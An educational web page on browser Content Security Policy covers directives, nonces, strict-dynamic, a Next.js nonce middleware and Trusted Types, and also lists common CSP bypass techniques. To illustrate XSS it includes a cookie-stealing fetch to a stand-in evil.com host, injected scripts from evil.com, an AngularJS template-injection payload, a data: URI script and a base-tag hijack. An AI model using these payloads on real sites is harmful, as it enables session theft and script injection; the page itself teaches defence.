Content Security Policy
โฑ๏ธ ~3-minute bite ยท solve the sandbox to master
5-Year-Old Metaphor
โ The physical, real-world picture. No jargon.๐ CSP = approved supplier list for your website.
The supplier list analogy
Default behavior (no CSP): your website can load resources from anywhere โ any CDN, any domain, any inline script. An XSS vulnerability lets attackers inject <script src='https://evil.com/steal.js'> and your browser will load and run it.
With CSP: you publish an approved supplier list in the HTTP response header. The browser enforces it: only resources from approved suppliers (domains) load. Everything else โ including XSS-injected scripts โ is blocked at the browser level before execution.
Nonces: inline scripts need a signed delivery receipt (a cryptographic nonce in the CSP header and on the script tag). The nonce is generated fresh on the server per request. An attacker who injects a script tag can't know the nonce in advance.
Report-Only: shadow-testing the supplier list before enforcing it. Violations are logged to your endpoint but resources still load. Use this in production for a week to discover all violations, then flip to enforcement.
ASCII: how CSP works
| 1 | HTTP Response from server: |
| 2 | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ |
| 3 | โ Content-Security-Policy: default-src 'self'; โ |
| 4 | โ script-src 'self' 'nonce-abc123' https://cdn.ok.com โ |
| 5 | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ |
| 6 | โ |
| 7 | โผ Browser receives HTML + CSP header |
| 8 | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ |
| 9 | โ <script src="/app.js"> โโโโโโโโโโโโโโโโโโโโโโโถ โ ALLOW (same origin) |
| 10 | โ <script nonce="abc123">init()</script> โโโโโโโถ โ ALLOW (nonce matches) |
| 11 | โ <script src="https://cdn.ok.com/lib.js"> โโโโถ โ ALLOW (in policy) |
| 12 | โ <script src="https://evil.com/steal.js"> โโโโถ โ BLOCK (not in policy) |
| 13 | โ <script>document.cookie</script> โโโโโโโโโโโโถ โ BLOCK (no 'unsafe-inline') |
| 14 | โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ |
| 15 | โ |
| 16 | โผ Blocked? โ Browser fires violation report to report-uri |
| 17 | โ Allowed? โ Script loads and executes normally |
CSP directive hierarchy
default-srcFallback for all resource types not explicitly listedscript-srcJavaScript โ overrides default-src for scriptsstyle-srcCSS stylesheets โ overrides default-src for stylesimg-srcImages (including data: URIs for base64)connect-srcfetch(), XHR, WebSocket, EventSourcefont-srcWeb fonts (@font-face)frame-srciframe src โ controls embeddingobject-src<object>, <embed> โ always set to 'none' in strict CSPbase-uri<base> tag โ always set to 'none' in strict CSPform-actionWhere forms can POST toWhy 'unsafe-inline' defeats XSS protection
Adding 'unsafe-inline' to script-src re-enables inline scripts โ including every XSS-injected <script> tag. An attacker who can inject HTML can run arbitrary JavaScript. The entire point of CSP is to block this. If you need inline scripts, use nonces instead โ they're cryptographically unforgeable.
Interactive Sandbox
โ Move something, see it react instantly.CSP Pattern
HTTP Response Header
| 1 | Content-Security-Policy: default-src 'self' |
Resources โ what does this policy allow?
https://myapp.com/app.jsSame origin โ allowed
https://cdn.example.com/lib.jsExternal origin not in policy
<script>alert(1)</script>Inline script โ 'unsafe-inline' not in policy
https://myapp.com/style.cssSame origin โ allowed
https://google-analytics.com/analytics.jsThird-party not in policy
Challenge
Visit all 5 CSP patterns. For each policy, predict which resources will be blocked before reading the reasons.
Why Should I Care?
โ The exact interview question + the bug it kills.Exact interview questions
Q: Why does 'unsafe-inline' defeat XSS protection?
CSP's primary defense against XSS is blocking inline scripts โ the <script> tags an attacker injects via an injection vulnerability. Adding 'unsafe-inline' re-allows all inline scripts, restoring the default vulnerable behavior. An attacker who can inject <script>fetch('https://evil.com?c='+document.cookie)</script> will succeed. Nonces solve inline scripts without this tradeoff: each allowed script has a unique, server-generated token the attacker cannot predict.
| 1 | // โ Defeats the purpose: |
| 2 | Content-Security-Policy: script-src 'self' 'unsafe-inline' |
| 3 | // Any injected <script> tag runs |
| 4 | ย |
| 5 | // โ Allows your inline scripts without 'unsafe-inline': |
| 6 | Content-Security-Policy: script-src 'nonce-{SERVER_RANDOM}' |
| 7 | // <script nonce="SERVER_RANDOM">your code here</script> |
| 8 | // Injected <script> (no nonce) is blocked |
Q: What is 'strict-dynamic' and when should you use it?
'strict-dynamic' propagates trust from a nonced script to any scripts it dynamically loads. Without it, a script loaded via a nonce that then does document.createElement('script') would create an untrusted script (blocked by CSP). With 'strict-dynamic', scripts loaded by trusted scripts are also trusted. This lets modern bundlers and script loaders work with nonce-based CSP. It also ignores host allowlists โ so combine with nonces only, not domains.
| 1 | // Without 'strict-dynamic': |
| 2 | // <script nonce="abc"> โ trusted |
| 3 | // const s = document.createElement('script'); |
| 4 | // s.src = '/chunk.js'; |
| 5 | // document.head.appendChild(s); โ BLOCKED (no nonce, no allowlisted domain) |
| 6 | ย |
| 7 | // With 'strict-dynamic': |
| 8 | // <script nonce="abc"> โ trusted |
| 9 | // dynamically loaded /chunk.js โ trusted (loaded by a trusted script) |
| 10 | // /chunk.js loads /vendor.js โ trusted (propagates transitively) |
| 11 | ย |
| 12 | Content-Security-Policy: |
| 13 | script-src 'nonce-{SERVER_RANDOM}' 'strict-dynamic'; |
| 14 | object-src 'none'; |
| 15 | base-uri 'none'; |
Q: How do nonces work with SSR (Next.js / Express)?
The server generates a cryptographically random nonce for each response, injects it into the CSP header AND into every <script> tag in the HTML. Because it's generated per-request, an attacker who cached the previous nonce cannot use it for a new request.
| 1 | // Next.js middleware (middleware.ts) |
| 2 | import { NextResponse } from 'next/server'; |
| 3 | import crypto from 'crypto'; |
| 4 | ย |
| 5 | export function middleware(request) { |
| 6 | const nonce = crypto.randomBytes(16).toString('base64'); |
| 7 | ย |
| 8 | const cspHeader = ` |
| 9 | script-src 'nonce-${nonce}' 'strict-dynamic'; |
| 10 | style-src 'nonce-${nonce}'; |
| 11 | object-src 'none'; |
| 12 | base-uri 'none'; |
| 13 | `.replace(/\s+/g, ' '); |
| 14 | ย |
| 15 | const response = NextResponse.next({ |
| 16 | headers: { 'x-nonce': nonce }, // pass to _document.tsx |
| 17 | }); |
| 18 | response.headers.set('Content-Security-Policy', cspHeader); |
| 19 | return response; |
| 20 | } |
| 21 | ย |
| 22 | // In _document.tsx: read nonce from headers and add to <Script> tags |
| 23 | const nonce = headers().get('x-nonce') ?? ''; |
| 24 | // <Script nonce={nonce} src="/app.js" /> |
The Deep Dive
โ Spec refs, engine internals, the minutiae.CSP Level 3 directives
worker-src
Web Workers, Service Workers, SharedWorkers
Level 3manifest-src
Web App Manifests
Level 3navigate-to
Where the document can navigate (links, forms, redirects)
Level 3prefetch-src
Prefetch and prerender requests
Level 3require-trusted-types-for
Enforce Trusted Types API for DOM XSS sinks
Level 3trusted-types
Define allowed Trusted Types policies
Level 3report-uri vs report-to
report-uri (CSP Level 2) sends violation reports as JSON POST to a URL. Deprecated in CSP Level 3 in favor of report-to, which uses the Reporting API, supporting batching and multiple endpoints.
| 1 | // Preferred (modern): report-to with Reporting-Endpoints header |
| 2 | Reporting-Endpoints: csp-endpoint="https://myapp.com/csp-reports" |
| 3 | Content-Security-Policy: |
| 4 | default-src 'self'; |
| 5 | report-to csp-endpoint; |
| 6 | ย |
| 7 | // Violation report body: |
| 8 | { |
| 9 | "csp-report": { |
| 10 | "document-uri": "https://myapp.com/page", |
| 11 | "violated-directive": "script-src", |
| 12 | "blocked-uri": "https://evil.com/steal.js", |
| 13 | "original-policy": "default-src 'self'; report-to csp-endpoint" |
| 14 | } |
| 15 | } |
Common CSP bypass techniques
JSONP endpoints
If your script-src allowlist includes a domain that hosts a JSONP endpoint (e.g., https://accounts.google.com/o/oauth2/revoke?callback=evil), an attacker can use it to execute arbitrary JavaScript from an allowed domain.
Fix: Don't allowlist domains with JSONP endpoints. Use nonces instead of domain allowlists.
AngularJS / template injection
If your allowlist includes a domain serving AngularJS (e.g., https://ajax.googleapis.com), attackers can use Angular template injection: {{constructor.constructor('alert(1)')()}}
Fix: Never allowlist CDNs hosting AngularJS. Use strict-dynamic with nonces.
data: URIs
Allowing 'data:' in script-src lets attackers execute: <script src='data:text/javascript,alert(1)'>. Always block data: in script-src.
Fix: Never add 'data:' to script-src. Only use data: in img-src if needed.
base tag hijacking
An attacker injects <base href='https://evil.com'>. All relative URLs on the page now resolve to evil.com. Fixed by base-uri 'none'.
Fix: Always include base-uri 'none' in strict CSP.
Trusted Types API โ DOM XSS prevention
Trusted Types (Chrome, Edge) prevents DOM XSS by requiring all assignments to dangerous sinks (innerHTML, document.write, eval) to use a sanitized Trusted Types object rather than a raw string. Enforce via CSP:
| 1 | Content-Security-Policy: |
| 2 | require-trusted-types-for 'script'; |
| 3 | trusted-types sanitizer; |
| 4 | ย |
| 5 | // In JavaScript: create a Trusted Types policy |
| 6 | const policy = trustedTypes.createPolicy('sanitizer', { |
| 7 | createHTML: (input) => DOMPurify.sanitize(input), |
| 8 | }); |
| 9 | ย |
| 10 | // โ Now allowed: |
| 11 | element.innerHTML = policy.createHTML(userInput); |
| 12 | ย |
| 13 | // โ Blocked by browser (throws): |
| 14 | element.innerHTML = userInput; // raw string to innerHTML blocked |
CORP / COOP / COEP โ cross-origin isolation headers
CSP controls what your page loads. These three headers control cross-origin access to your page โ required to enable high-precision timers and SharedArrayBuffer (needed for Spectre mitigation):
Cross-Origin-Resource-Policy: same-originPrevents other origins from loading this resource (image, script, etc.) via <img> or <script> tags. Opt-in resource-level protection.
Cross-Origin-Opener-Policy: same-originIsolates the browsing context group โ cross-origin popups can't access your window object. Required for cross-origin isolation.
Cross-Origin-Embedder-Policy: require-corpRequires all resources loaded by the page to have CORP or CORS headers. Required for cross-origin isolation.
Together, COOP + COEP enable cross-origin isolation: crossOriginIsolated === true in the browser, unlocking SharedArrayBuffer and high-res timers.
Permissions Policy (formerly Feature Policy)
Permissions Policy controls which browser features your page and its iframes can use โ camera, microphone, geolocation, payment, USB, etc. Unrelated to CSP but often set alongside it:
| 1 | Permissions-Policy: |
| 2 | camera=(), // disable entirely (no origin allowed) |
| 3 | microphone=(), // disable entirely |
| 4 | geolocation=(self), // only same origin |
| 5 | payment=(self "https://checkout.stripe.com"), |
| 6 | usb=() |
| 7 | ย |
| 8 | // Blocks malicious iframes from requesting permissions |
| 9 | // Limits accidental permission escalation in embedded content |
Interview Questions
โ Real questions from real interviews โ with answers.'unsafe-inline' re-enables all inline scripts โ including every <script> tag an attacker injects via XSS.
strict-dynamic propagates trust from a nonced script to scripts it dynamically loads, enabling modern bundlers to work with nonce-based CSP.
Middleware generates a random nonce per request, sets it in the CSP header and passes it to _document via a custom header.
JSONP endpoints on allowlisted domains, AngularJS template injection, and data: URI scripts.
Report-Only logs violations without blocking โ use it in production to discover all violations before switching to enforcement.
base-uri blocks <base href> injection โ without it an attacker can reroute all relative URLs to their domain.
Memory Game
โ Quick quiz โ lock the concept in long-term memory.What does Permissions Policy (formerly Feature Policy) control?